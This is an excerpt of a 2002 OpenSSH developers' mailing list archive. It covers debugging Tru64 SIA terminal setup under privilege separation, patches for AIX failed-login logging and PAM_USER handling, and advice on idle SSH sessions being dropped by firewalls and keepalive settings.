  >   > Hi Ben,
  >   > 
  >   > > I assume you are going against --current or a more recent snapshot.
  >   > 
  >   > Well, I was using 3.4p1. I just downloaded, patched, and built the
  >   > 20020826 snapshot. This does behave differently... I ran sshd interactively
  >   > (sshd -e -d -d -d) and tried to connect with a client. The privileged process
  >   > commits the same error as before. The difference is that now it doesn't
  >   > tear down the client session when it exits, and the client appears functional
  >   > (warning: not tested yet beyond simply getting a shell.)
  > 
  > Yes, I saw this too.
  > 
  >   > So it seems to me that
  >   > there is still something wrong in the logic: at this point, the privileged
  >   > process shouldn't be trying to launch another session on this tty, and it
  >   > just happens to work now because the unprivileged process is better isolated.
  > 
  > Could you help me follow the code here (I'm getting lost between the unprivileged
  > and privileged processes)?...
  > 
  > Where does the unprivileged process setup it's session?  Does setup_sia()
  > get called twice (once in the privileged process and once in the
  > unprivileged process) or is a different (non SIA) method used by the
  > unprivileged process?
  > 
  > 
  > -----------------------------------------------------------------------
  > Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
  > AlphaServer 8400 System Administrator
  > SAIC/NCI Frederick Advanced Biomedical Computing Center
  > 
  > _______________________________________________
  > openssh-unix-dev at mindrot.org mailing list
  > http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
  > 

-----------------------------------------------------------------------
Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
AlphaServer 8400 System Administrator
SAIC/NCI Frederick Advanced Biomedical Computing Center



From harbaugh at nciaxp.ncifcrf.gov  Fri Aug 30 22:03:04 2002
From: harbaugh at nciaxp.ncifcrf.gov (Toni L. Harbaugh-Blackford)
Date: Fri, 30 Aug 2002 08:03:04 -0400 (EDT)
Subject: one reference for tru64 chgpt: expect uses function that calls chgpt
In-Reply-To: <Pine.OSF.4.10.10208300716490.5568-100000@nciaxp.ncifcrf.gov>
Message-ID: <Pine.OSF.4.10.10208300756010.5568-100000@nciaxp.ncifcrf.gov>

Here is one reference to the use of chgpt:

     Expect FAQ
        http://expect.nist.gov/FAQ.html


     66.  Why does Expect work as root, but say "out of ptys" when run as myself? 
     
           Expect works fine as root, but when I run it as myself it says "out of
           ptys" (which I know isn't true).  Any ideas?
     
     Sounds like a misconfiguration problem on your system. For example, once I saw
     this on a Digital system where the system administrator had decided to remove
     setuid from all programs ("I heard that setuid is a security risk, right?"). On that
     particular system, Expect uses a system library function that internally
     calls an external program chgpt which exists solely for the purpose of managing
     ptys. Needless to say, it must be setuid.  Unfortunately, the library function
     doesn't do enough error checking, and there's no way for Expect to know that,
     so there's nothing I can do to give a better diagnostic explaining how your
     system is misconfigured.

But I don't remember the library call.  Anyone seen the expect code?

----------------------------------------------------------------------e
Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
AlphaServer 8400 System Administrator
SAIC/NCI Frederick Advanced Biomedical Computing Center



From harbaugh at nciaxp.ncifcrf.gov  Fri Aug 30 22:34:48 2002
From: harbaugh at nciaxp.ncifcrf.gov (Toni L. Harbaugh-Blackford)
Date: Fri, 30 Aug 2002 08:34:48 -0400 (EDT)
Subject: the function is grantpt(), but where to put it?
In-Reply-To: <020829192649.2020061f@ANLMEP.PHY.ANL.GOV>
Message-ID: <Pine.OSF.4.10.10208300819570.5568-100000@nciaxp.ncifcrf.gov>

On tru64, grantpt() is the function to use to take ownership of
a terminal.  But where should it go in the code?  It has to apply to
the master pseudoterminal device, but that isn't passed to setup_sia();

Where is the output of mm_answer_pty() received?

-----------------------------------------------------------------------
Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
AlphaServer 8400 System Administrator
SAIC/NCI Frederick Advanced Biomedical Computing Center



From harbaugh at nciaxp.ncifcrf.gov  Fri Aug 30 22:49:39 2002
From: harbaugh at nciaxp.ncifcrf.gov (Toni L. Harbaugh-Blackford)
Date: Fri, 30 Aug 2002 08:49:39 -0400 (EDT)
Subject: grantpt() called for solaris in sshpty.c, but requires HAVE_DEV_PTMX,
 which gets unset
In-Reply-To: <020829192649.2020061f@ANLMEP.PHY.ANL.GOV>
Message-ID: <Pine.OSF.4.10.10208300843290.5568-100000@nciaxp.ncifcrf.gov>

There is a call for grantpt() in sshpty.c if HAVE_DEV_PTMX is defined.
However, HAVE_DEV_PTMX gets undef'd in sshpty.c if HAVE_OPENPTY is defined.

Both are set to 1 in my config.h, so grantpt() does not get called for tru64.

If the code were modified in sshpty so that grantpt() would be called
for tru64, would that fix the problem?

-----------------------------------------------------------------------
Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
AlphaServer 8400 System Administrator
SAIC/NCI Frederick Advanced Biomedical Computing Center



From markus at openbsd.org  Fri Aug 30 23:04:43 2002
From: markus at openbsd.org (Markus Friedl)
Date: Fri, 30 Aug 2002 15:04:43 +0200
Subject: the function is grantpt(), but where to put it?
In-Reply-To: <Pine.OSF.4.10.10208300819570.5568-100000@nciaxp.ncifcrf.gov>
References: <020829192649.2020061f@ANLMEP.PHY.ANL.GOV> <Pine.OSF.4.10.10208300819570.5568-100000@nciaxp.ncifcrf.gov>
Message-ID: <20020830130443.GA26353@faui02>

On Fri, Aug 30, 2002 at 08:34:48AM -0400, Toni L. Harbaugh-Blackford wrote:
> 
> On tru64, grantpt() is the function to use to take ownership of
> a terminal.  But where should it go in the code?  It has to apply to
> the master pseudoterminal device, but that isn't passed to setup_sia();
> 
> Where is the output of mm_answer_pty() received?

in mm_pty_allocate (and pty_allocate).

mm_answer_pty should setup the ownership, see
	pty_setowner(authctxt->pw, s->tty);


From harbaugh at nciaxp.ncifcrf.gov  Fri Aug 30 23:26:01 2002
From: harbaugh at nciaxp.ncifcrf.gov (Toni L. Harbaugh-Blackford)
Date: Fri, 30 Aug 2002 09:26:01 -0400 (EDT)
Subject: don't go down the HAVE_DEV_PTMX road (WAS: Re: the function is
 grantpt(), but where to put it?)
In-Reply-To: <20020830130443.GA26353@faui02>
Message-ID: <Pine.OSF.4.10.10208300920250.11776-100000@nciaxp.ncifcrf.gov>

I unset HAVE_OPENPTY, so that the HAVE_DEV_PTMX section
with grantpt() would be executed.

*THEN* I still get the same 'Error in terminal setup', *plus* now I get
kicked out, just like in openssh-3.4p1 with the patch applied.

grantpt() in sshpty.c did not generate an error, so I guess I have to
investigate something else causing the 'Error in terminal setup' message.

On Fri, 30 Aug 2002, Markus Friedl wrote:

  > On Fri, Aug 30, 2002 at 08:34:48AM -0400, Toni L. Harbaugh-Blackford wrote:
  > > 
  > > On tru64, grantpt() is the function to use to take ownership of
  > > a terminal.  But where should it go in the code?  It has to apply to
  > > the master pseudoterminal device, but that isn't passed to setup_sia();
  > > 
  > > Where is the output of mm_answer_pty() received?
  > 
  > in mm_pty_allocate (and pty_allocate).
  > 
  > mm_answer_pty should setup the ownership, see
  > 	pty_setowner(authctxt->pw, s->tty);
  > 

-----------------------------------------------------------------------
Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
AlphaServer 8400 System Administrator
SAIC/NCI Frederick Advanced Biomedical Computing Center



From harbaugh at ncifcrf.gov  Fri Aug 30 23:26:01 2002
From: harbaugh at ncifcrf.gov (Toni L. Harbaugh-Blackford)
Date: Fri, 30 Aug 2002 09:26:01 -0400 (EDT)
Subject: don't go down the HAVE_DEV_PTMX road (WAS: Re: the function is
 grantpt(), but where to put it?)
In-Reply-To: <20020830130443.GA26353@faui02>
Message-ID: <Pine.OSF.4.10.10208300920250.11776-100000@nciaxp.ncifcrf.gov>

I unset HAVE_OPENPTY, so that the HAVE_DEV_PTMX section
with grantpt() would be executed.

*THEN* I still get the same 'Error in terminal setup', *plus* now I get
kicked out, just like in openssh-3.4p1 with the patch applied.

grantpt() in sshpty.c did not generate an error, so I guess I have to
investigate something else causing the 'Error in terminal setup' message.

On Fri, 30 Aug 2002, Markus Friedl wrote:

  > On Fri, Aug 30, 2002 at 08:34:48AM -0400, Toni L. Harbaugh-Blackford wrote:
  > > 
  > > On tru64, grantpt() is the function to use to take ownership of
  > > a terminal.  But where should it go in the code?  It has to apply to
  > > the master pseudoterminal device, but that isn't passed to setup_sia();
  > > 
  > > Where is the output of mm_answer_pty() received?
  > 
  > in mm_pty_allocate (and pty_allocate).
  > 
  > mm_answer_pty should setup the ownership, see
  > 	pty_setowner(authctxt->pw, s->tty);
  > 

-----------------------------------------------------------------------
Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
AlphaServer 8400 System Administrator
SAIC/NCI Frederick Advanced Biomedical Computing Center



From bugzilla-daemon at mindrot.org  Sat Aug 31 01:03:33 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Sat, 31 Aug 2002 01:03:33 +1000 (EST)
Subject: [Bug 355] No last login message with PrivSep under AIX
Message-ID: <20020830150333.CCBC13D1A9@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=355

cawlfiel at us.ibm.com changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
 Attachment #141 is|0                           |1
           obsolete|                            |



------- Additional Comments From cawlfiel at us.ibm.com  2002-08-31 01:03 -------
Created an attachment (id=142)
 --> (http://bugzilla.mindrot.org/attachment.cgi?id=142&action=view)
Enables tracking of unsuccessful logins on AIX

I've included a patch that adds one line to the end of the previous 
auth-passwd.c patch, #141.  Before, AIX unsuccessful logins would go unnoticed.
 

In the enclosed patch, if the AIX authenticate in unsuccessful the loginfailed
subroutine is run, which logs the unsuccessful login to
/etc/security/failedlogin as well as updates the user's attributes in
/etc/security/lastlog




------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From jeremy.ellington at newisys.com  Sat Aug 31 03:15:20 2002
From: jeremy.ellington at newisys.com (Jeremy Ellington)
Date: Fri, 30 Aug 2002 12:15:20 -0500
Subject: Patch so that sshd makes use of PAM_USER
Message-ID: <D3A72C5007329A4F991C0DD87202259FD1BBE7@sekhmet.ad.newisys.com>

 <<pam_user.patch>> 
Hello.  I created a patch that causes sshd  to take notice of the value of PAM_USER after calling into the pam_xxx functions.  This makes it possible for a PAM module to effect user mappings by setting the value of PAM_USER with pam_set_item().  If anyone has comments or suggestions, let me know.

Thanks,
Jeremy
-------------- next part --------------
A non-text attachment was scrubbed...
Name: pam_user.patch
Type: application/octet-stream
Size: 8581 bytes
Desc: pam_user.patch
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020830/60be3f21/attachment.obj 

From harbaugh at nciaxp.ncifcrf.gov  Sat Aug 31 03:18:05 2002
From: harbaugh at nciaxp.ncifcrf.gov (Toni L. Harbaugh-Blackford)
Date: Fri, 30 Aug 2002 13:18:05 -0400 (EDT)
Subject: grantpt() not the problem... sia_ses_init complaining about it's
 *own* terminal
In-Reply-To: <Pine.OSF.4.10.10208300843290.5568-100000@nciaxp.ncifcrf.gov>
Message-ID: <Pine.OSF.4.10.10208301244040.6528-100000@nciaxp.ncifcrf.gov>

Hi-

HAVE_DEV_PTMX and grantpt() *do* work to set the modes on the tty.  But that
is *not* the terminal that sia_ses_init() is complaining about.  It is
complaining about the terminal in which *it* is running.

When privsep is off, the ttyname of file descriptors 0 and 1 matches that passed
setup_sia(), and output goes to the client:

     debug3: tty_make_modes: 92 0
     debug3: tty_make_modes: 93 0
     debug1: channel request 0: shell
     debug1: fd 3 setting TCP_NODELAY
     debug2: callback done
     debug1: channel 0: open confirm rwindow 0 rmax 32768
     debug2: channel 0: rcvd adjust 131072
     debug3: do_child before PRIVSEP setup_sia euid=0,egid=1,ttyfd=12
      in setup_sia, passed tty owner = 0
      in setup_sia, passed tty=/dev/pts/3, ttyname(0)=/dev/pts/3, ttyname(1) = /dev/pts/3
     Last   successful login for harbaugh: Fri Aug 30 12:41:22 EDT 2002 from fchelp.ncifcrf.gov
     Last unsuccessful login for harbaugh: Fri Aug 30 10:55:56 EDT 2002 from fchelp.ncifcrf.gov
     
     Compaq Tru64 UNIX V5.1A (Rev. 1885); Fri Aug 23 13:12:42 EDT 2002
     
     On Wed Nov 21 14:03:06 EST 2001 your system was successfully updated from:

However, when privsep is on, there is no ttyname associated descriptor 0, and
descriptor 1 is device with a different name (output goes to the server side)

     debug1: server_input_channel_req: channel 0 request shell reply 0
     debug1: session_by_channel: session 0 channel 0
     debug1: session_input_channel_req: session 0 req shell
     debug1: fd 5 setting TCP_NODELAY
     debug3: mm_answer_pty: tty /dev/pts/3 ptyfd 4
     debug3: mm_request_receive entering
     debug1: Setting controlling tty using TIOCSCTTY.
     debug3: monitor_read: checking request 38
      in setup_sia, passed tty owner = 0
      in setup_sia, passed tty=/dev/pts/3, ttyname(0)=(null), ttyname(1) = /dev/pts/2
     debug1: channel 0: rfd 13 isatty
     debug1: fd 13 setting O_NONBLOCK
     debug2: fd 12 is O_NONBLOCK
     Error in terminal setup.
     
     Couldn't establish session for harbaugh from fchelp.ncifcrf.gov
     debug1: Calling cleanup 0x12005627c(0x140031fb0)
     debug1: session_pty_cleanup: session 0 release /dev/pts/3

But I don't know specifically what aspect of this tty configuration
sia_ses_init() doesn't like.  It could be that sia_ses_init() does not
allow input from a non-tty, or that the tty of descriptor 0 does match
that of descriptor 1.  I remember hearing of restrictions on the terminal
in which sia_ses_init is called, but I don't remember what they are.

Anyone have further insight on this?

-----------------------------------------------------------------------
Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
AlphaServer 8400 System Administrator
SAIC/NCI Frederick Advanced Biomedical Computing Center



From Darren.Moffat at Sun.COM  Sat Aug 31 03:38:58 2002
From: Darren.Moffat at Sun.COM (Darren J Moffat)
Date: Fri, 30 Aug 2002 10:38:58 -0700 (PDT)
Subject: Patch so that sshd makes use of PAM_USER
In-Reply-To: <D3A72C5007329A4F991C0DD87202259FD1BBE7@sekhmet.ad.newisys.com>
Message-ID: <Pine.GSO.4.43.0208301033350.16825-100000@qurim.nessieroo.com>

On Fri, 30 Aug 2002, Jeremy Ellington wrote:

>  <<pam_user.patch>>
> Hello.  I created a patch that causes sshd  to take notice of the
> value of PAM_USER after calling into the pam_xxx functions.  This makes
> it possible for a PAM module to effect user mappings by setting the
> value of PAM_USER with pam_set_item().  If anyone has comments or
> suggestions, let me know.

I've not looked at the patch yet.

This is the correct behaviour to aim for with respect to PAM.  However I
think this may be in conflict with the spirit of the SSH protocol, though I
can't find anything specific in the userauth draft that confirms this.

-- 
Darren J Moffat



From mouring at etoh.eviladmin.org  Sat Aug 31 03:46:57 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Fri, 30 Aug 2002 12:46:57 -0500 (CDT)
Subject: Patch so that sshd makes use of PAM_USER
In-Reply-To: <D3A72C5007329A4F991C0DD87202259FD1BBE7@sekhmet.ad.newisys.com>
Message-ID: <Pine.BSO.4.44.0208301245100.17760-100000@etoh.eviladmin.org>

Two things off hand.

1. Your repeating the code over and over.  Make it a function call.

2. Look at openbsd's 'style' page.  As it sits now it would not be
accepted because it does not follow the correct code format.


also, one needs to check to see if this is honored by Solaris/hpux or if
this is a Linux oddity.

- Ben

On Fri, 30 Aug 2002, Jeremy Ellington wrote:

>  <<pam_user.patch>>
> Hello.  I created a patch that causes sshd  to take notice of the value of PAM_USER after calling into the pam_xxx functions.  This makes it possible for a PAM module to effect user mappings by setting the value of PAM_USER with pam_set_item().  If anyone has comments or suggestions, let me know.
>
> Thanks,
> Jeremy
>



From Darren.Moffat at Sun.COM  Sat Aug 31 04:41:32 2002
From: Darren.Moffat at Sun.COM (Darren J Moffat)
Date: Fri, 30 Aug 2002 11:41:32 -0700 (PDT)
Subject: Patch so that sshd makes use of PAM_USER
In-Reply-To: <Pine.BSO.4.44.0208301245100.17760-100000@etoh.eviladmin.org>
Message-ID: <Pine.GSO.4.43.0208301139190.16825-100000@qurim.nessieroo.com>

On Fri, 30 Aug 2002, Ben Lindstrom wrote:

>
> Two things off hand.
>
> 1. Your repeating the code over and over.  Make it a function call.
>
> 2. Look at openbsd's 'style' page.  As it sits now it would not be
> accepted because it does not follow the correct code format.
>
>
> also, one needs to check to see if this is honored by Solaris/hpux or if
> this is a Linux oddity.

This is part of the original PAM spec.  There are no modules shipped by
Sun for Solaris that actually change the PAM_USER but I know it does work
if such a module should be installed.  Since the HP code orginally came
from Sun it should work there as well.

To test this create a PAM module that implements pam_sm_authenticate
and in it use pam_set_item to change the value of PAM_USER.  The change
should be reflected back in the application when it calls pam_get_item.

> On Fri, 30 Aug 2002, Jeremy Ellington wrote:
>
> >  <<pam_user.patch>>
> > Hello.  I created a patch that causes sshd  to take notice of the value of PAM_USER after calling into the pam_xxx functions.  This makes it possible for a PAM module to effect user mappings by setting the value of PAM_USER with pam_set_item().  If anyone has comments or suggestions, let me know.
> >
> > Thanks,
> > Jeremy
> >
>
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
>

-- 
Darren J Moffat



From jeremy.ellington at newisys.com  Sat Aug 31 05:05:25 2002
From: jeremy.ellington at newisys.com (Jeremy Ellington)
Date: Fri, 30 Aug 2002 14:05:25 -0500
Subject: Patch so that sshd makes use of PAM_USER
Message-ID: <D3A72C5007329A4F991C0DD87202259FD1BBE8@sekhmet.ad.newisys.com>

I've made the requested changes, and I've tested this on Linux 2.4.2 with both auth and account entry points.

The new diff (pam_user.diff) is attached.

-----Original Message-----
From: Darren J Moffat [mailto:Darren.Moffat at Sun.COM]
Sent: Friday, August 30, 2002 1:42 PM
To: Ben Lindstrom
Cc: Jeremy Ellington; jm at ibs.com.au; openssh-unix-dev at mindrot.org
Subject: Re: Patch so that sshd makes use of PAM_USER


On Fri, 30 Aug 2002, Ben Lindstrom wrote:

>
> Two things off hand.
>
> 1. Your repeating the code over and over.  Make it a function call.
>
> 2. Look at openbsd's 'style' page.  As it sits now it would not be
> accepted because it does not follow the correct code format.
>
>
> also, one needs to check to see if this is honored by Solaris/hpux or if
> this is a Linux oddity.

This is part of the original PAM spec.  There are no modules shipped by
Sun for Solaris that actually change the PAM_USER but I know it does work
if such a module should be installed.  Since the HP code orginally came
from Sun it should work there as well.

To test this create a PAM module that implements pam_sm_authenticate
and in it use pam_set_item to change the value of PAM_USER.  The change
should be reflected back in the application when it calls pam_get_item.

> On Fri, 30 Aug 2002, Jeremy Ellington wrote:
>
> >  <<pam_user.patch>>
> > Hello.  I created a patch that causes sshd  to take notice of the value of PAM_USER after calling into the pam_xxx functions.  This makes it possible for a PAM module to effect user mappings by setting the value of PAM_USER with pam_set_item().  If anyone has comments or suggestions, let me know.
> >
> > Thanks,
> > Jeremy
> >
>
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
>

-- 
Darren J Moffat

-------------- next part --------------
A non-text attachment was scrubbed...
Name: pam_user.diff
Type: application/octet-stream
Size: 5285 bytes
Desc: pam_user.diff
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020830/065fc8ec/attachment.obj 

From jcunning at cts.com  Sat Aug 31 06:33:55 2002
From: jcunning at cts.com (Jim Cunning)
Date: Fri, 30 Aug 2002 13:33:55 -0700 (PDT)
Subject: Idle SSH session disconnects
Message-ID: <Pine.LNX.4.44.0208301326570.31170-100000@cunning.ods.org>

I have used OpenSSH for a while, on SuSE 7.2 and now on 8.0, and have
always had a problem with idle sessions being terminated.  I have read the
FAQ, man pages, past mailing list discussions, and still cannot find any
explanation for the disconnects.

I can keep a telnet session through a VPN up for days, but an SSH session
to the same host through the internet dies after a few, or perhaps a
couple of hours.  There is no firewall NAT to expire, no autologout setup,
etc.--none of the usual explanations I have found apply.

Can anyone help explain this situation?

Thanks,
Jim Cunning



From stuge-openssh-unix-dev at cdy.org  Sat Aug 31 06:56:53 2002
From: stuge-openssh-unix-dev at cdy.org (Peter Stuge)
Date: Fri, 30 Aug 2002 22:56:53 +0200
Subject: Idle SSH session disconnects
In-Reply-To: <Pine.LNX.4.44.0208301326570.31170-100000@cunning.ods.org>; from jcunning@cts.com on Fri, Aug 30, 2002 at 01:33:55PM -0700
References: <Pine.LNX.4.44.0208301326570.31170-100000@cunning.ods.org>
Message-ID: <20020830225653.A5901@foo.birdnet.se>

On Fri, Aug 30, 2002 at 01:33:55PM -0700, Jim Cunning wrote:
> Can anyone help explain this situation?

Are both client and server Linux boxes?  If some other less robust TCP/IP
stack is involved this might be the cause for connectivity loss.

Have you tried playing with KeepAlive or maybe ClientAliveInterval and
ClientAliveCountMax in sshd_config?

Just some $.02


//Peter


From jcunning at cts.com  Sat Aug 31 07:26:47 2002
From: jcunning at cts.com (Jim Cunning)
Date: Fri, 30 Aug 2002 14:26:47 -0700 (PDT)
Subject: Idle SSH session disconnects
In-Reply-To: <20020830225653.A5901@foo.birdnet.se>
Message-ID: <Pine.LNX.4.44.0208301415180.31170-100000@cunning.ods.org>

On Fri, 30 Aug 2002, Peter Stuge wrote:

> On Fri, Aug 30, 2002 at 01:33:55PM -0700, Jim Cunning wrote:
> > Can anyone help explain this situation?
>
> Are both client and server Linux boxes?  If some other less robust TCP/IP
> stack is involved this might be the cause for connectivity loss.
>
> Have you tried playing with KeepAlive or maybe ClientAliveInterval and
> ClientAliveCountMax in sshd_config?

Both hosts are SuSE 8.0 x86 boxes.  I haven't messed with KeepAlive (the
default is "yes" - right?) and I concluded that ClientAlive was not
available for ssh after reading the man page for ssh_config. ClientAlive
is only mentioned in sshd_config, not ssh_config.  In any case, the
default is 0 - for no client alive messages.

I will try setting KeepAlive to no.
Thanks,
Jim



From POTTERVELD at ANLMEP.PHY.ANL.GOV  Sat Aug 31 08:34:44 2002
From: POTTERVELD at ANLMEP.PHY.ANL.GOV (David Potterveld)
Date: Fri, 30 Aug 2002 17:34:44 -0500
Subject: no, I see now, tru64 pty ownership wrong on entry to setup_sia, may need /usr/lbin/chgpt (WAS Re: Tru64 privsep patch testing)
Message-ID: <020830173444.202007e7@ANLMEP.PHY.ANL.GOV>

Hi Toni,

I'm sorry, I haven't had much time to work on this today. When I run sshd
(from the patched snapshot) in a debugger, with a breakpoint early in
setup_sia(), this is what I find after connecting with a client:

(1) There are two sshd processes. One is running as root, and the other
    as the user I logged with using the client. The root process is the
    one in the debugger, which I've been calling the privileged process,
    and the other one I called the unprivileged process. There is also
    a user process running a shell, connected to the client through a pty.

(2) The pty is owned by the user. On my system, for example:
    crw--w----   2 dhp      terminal   6,  3 Aug 30 17:05 /dev/ttyp3

Now, if I step through setup_sia() in the debugger, I get an error return
from sia_ses_estab(), so that fatal() is called, which results
session_pty_cleanup() being called, which resets the pty ownership back
to the default:

crw-rw-rw-   2 root     system     6,  3 Aug 30 17:05 /dev/ttyp3

This is the state you were finding things in. I suspect that what happens is,
the privileged process forks, sets up the pty, and becomes the user all on its
own, and then the privileged process starts doing the sia stuff. But its just a
suspicion... I need to read the code carefully myself to understand what's
happening.

David Potterveld
Argonne National Laboratory


From bob at proulx.com  Sat Aug 31 11:06:07 2002
From: bob at proulx.com (Bob Proulx)
Date: Fri, 30 Aug 2002 19:06:07 -0600
Subject: Idle SSH session disconnects
In-Reply-To: <Pine.LNX.4.44.0208301415180.31170-100000@cunning.ods.org>
References: <20020830225653.A5901@foo.birdnet.se> <Pine.LNX.4.44.0208301415180.31170-100000@cunning.ods.org>
Message-ID: <20020831010607.GB30758@misery.proulx.com>

Jim Cunning <jcunning at cts.com> [2002-08-30 14:26:47 -0700]:
> I will try setting KeepAlive to no.

Many people have joked over the years that KEEPALIVE should really be
called MAKEDEAD instead because that is the function.  But don't lose
sight of the fact that making a dead connection dead is vitally
important for automated processes to detect failure in many cases.
Humans have a variable timeout and will figure it out.  But machines
have patience.

Bob


From fcusack at fcusack.com  Sat Aug 31 11:55:46 2002
From: fcusack at fcusack.com (Frank Cusack)
Date: Fri, 30 Aug 2002 18:55:46 -0700
Subject: Idle SSH session disconnects
In-Reply-To: <20020831010607.GB30758@misery.proulx.com>; from bob@proulx.com on Fri, Aug 30, 2002 at 07:06:07PM -0600
References: <20020830225653.A5901@foo.birdnet.se> <Pine.LNX.4.44.0208301415180.31170-100000@cunning.ods.org> <20020831010607.GB30758@misery.proulx.com>
Message-ID: <20020830185546.A13895@google.com>

On Fri, Aug 30, 2002 at 07:06:07PM -0600, Bob Proulx wrote:
> Jim Cunning <jcunning at cts.com> [2002-08-30 14:26:47 -0700]:
> > I will try setting KeepAlive to no.
> 
> Many people have joked over the years that KEEPALIVE should really be
> called MAKEDEAD instead because that is the function.

Unless you are passing through a stateful firewall, which must keep
a session timer.

/fc


From bugzilla-daemon at mindrot.org  Sat Aug 31 14:22:31 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Sat, 31 Aug 2002 14:22:31 +1000 (EST)
Subject: [Bug 355] No last login message with PrivSep under AIX
Message-ID: <20020831042231.AEAA33D14C@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=355





------- Additional Comments From dtucker at zip.com.au  2002-08-31 14:22 -------
While that's true of 3.4p1 the loginfailed() bug has been fixed in -current for 
a while (see bug #145)



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Sat Aug 31 14:23:10 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Sat, 31 Aug 2002 14:23:10 +1000 (EST)
Subject: [Bug 355] No last login message with PrivSep under AIX
Message-ID: <20020831042310.13FCF3D14C@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=355

dtucker at zip.com.au changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
 Attachment #141 is|1                           |0
           obsolete|                            |





------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From jcunning at cts.com  Sat Aug 31 14:48:11 2002
From: jcunning at cts.com (Jim Cunning)
Date: Fri, 30 Aug 2002 21:48:11 -0700 (PDT)
Subject: Idle SSH session disconnects (update)
In-Reply-To: <20020830185546.A13895@google.com>
Message-ID: <Pine.LNX.4.44.0208302137560.5664-100000@cunning.ods.org>

On Fri, 30 Aug 2002, Frank Cusack wrote:

> On Fri, Aug 30, 2002 at 07:06:07PM -0600, Bob Proulx wrote:
> > Jim Cunning <jcunning at cts.com> [2002-08-30 14:26:47 -0700]:
> > > I will try setting KeepAlive to no.
> >
> > Many people have joked over the years that KEEPALIVE should really be
> > called MAKEDEAD instead because that is the function.
>
> Unless you are passing through a stateful firewall, which must keep
> a session timer.

I tried setting the KeepAlive parameter to no in /etc/sshd_config, then
restarting sshd.  I then opened an SSH session and left it idle.  Almost
exactly two hours later I noticed that it was disconnected with a comment
something like "read failed" and "connection reset by peer" -- I'm no
longer at my work computer, so I'm writing from memory.

So, turning off KEEPALIVE (or MAKEDEAD) seemed to have no effect.

Jim



From fcusack at fcusack.com  Sat Aug 31 19:40:46 2002
From: fcusack at fcusack.com (Frank Cusack)
Date: Sat, 31 Aug 2002 02:40:46 -0700
Subject: Idle SSH session disconnects (update)
In-Reply-To: <Pine.LNX.4.44.0208302137560.5664-100000@cunning.ods.org>; from jcunning@cts.com on Fri, Aug 30, 2002 at 09:48:11PM -0700
References: <20020830185546.A13895@google.com> <Pine.LNX.4.44.0208302137560.5664-100000@cunning.ods.org>
Message-ID: <20020831024046.A14876@google.com>

On Fri, Aug 30, 2002 at 09:48:11PM -0700, Jim Cunning wrote:
> On Fri, 30 Aug 2002, Frank Cusack wrote:
> 
> > On Fri, Aug 30, 2002 at 07:06:07PM -0600, Bob Proulx wrote:
> > > Jim Cunning <jcunning at cts.com> [2002-08-30 14:26:47 -0700]:
> > > > I will try setting KeepAlive to no.
> > >
> > > Many people have joked over the years that KEEPALIVE should really be
> > > called MAKEDEAD instead because that is the function.
> >
> > Unless you are passing through a stateful firewall, which must keep
> > a session timer.
> 
> I tried setting the KeepAlive parameter to no in /etc/sshd_config, then
> restarting sshd.  I then opened an SSH session and left it idle.  Almost
> exactly two hours later I noticed that it was disconnected with a comment
> something like "read failed" and "connection reset by peer" -- I'm no
> longer at my work computer, so I'm writing from memory.

So you *are* passing through a stateful firewall and the system keepalive
(2 hours by default on most systems, per RFC recommendation) kills
the connection.  It's more likely that the session is killed at 20 minutes
of idle time (typical default session timer on firewalls) but you don't
notice it until 1:40 later when your machine does a keepalive probe.

> So, turning off KEEPALIVE (or MAKEDEAD) seemed to have no effect.

Both client and server need to disable keepalives; if one of them has it
on it is effectively on.  This is documented in the man page.

I'm surprised this isn't an FAQ or common enough that a Google search
would turn something up.

You need to

- enable keepalives
- set the timer to be faster than the firewall session timer.

For ssh2, you can choose the time in sshd_config by setting the
ClientAlive* options.  For ssh1, you need to tweak the system timers
on either the server or client system; this is of course system-dependent.

You could also bump the session timer on the firewall to > 2 hours, but
this is likely to be a bad idea as stale sessions will leave state on
the firewall for a "long" time.

/fc


From jjaakkol at cs.Helsinki.FI  Sat Aug 31 23:06:45 2002
From: jjaakkol at cs.Helsinki.FI (Jani Jaakkola)
Date: Sat, 31 Aug 2002 16:06:45 +0300 (EEST)
Subject: Idle SSH session disconnects
In-Reply-To: <20020830225653.A5901@foo.birdnet.se>
Message-ID: <Pine.LNX.4.44.0208311555070.1966-100000@goofy-3.cs.Helsinki.FI>

On Fri, 30 Aug 2002, Peter Stuge wrote:

> On Fri, Aug 30, 2002 at 01:33:55PM -0700, Jim Cunning wrote:
> > Can anyone help explain this situation?
> 
> Are both client and server Linux boxes?  If some other less robust TCP/IP
> stack is involved this might be the cause for connectivity loss.

I have never known about any Linux version, which would be non robust 
enough to cut TCP/IP connections. However, with a stateful firewall this 
is easy achieve (regardless of the OS the firewall might have), so my 
guess is that the problem is caused by some firewall/router/nat 
configuration.

> Have you tried playing with KeepAlive or maybe ClientAliveInterval and
> ClientAliveCountMax in sshd_config?

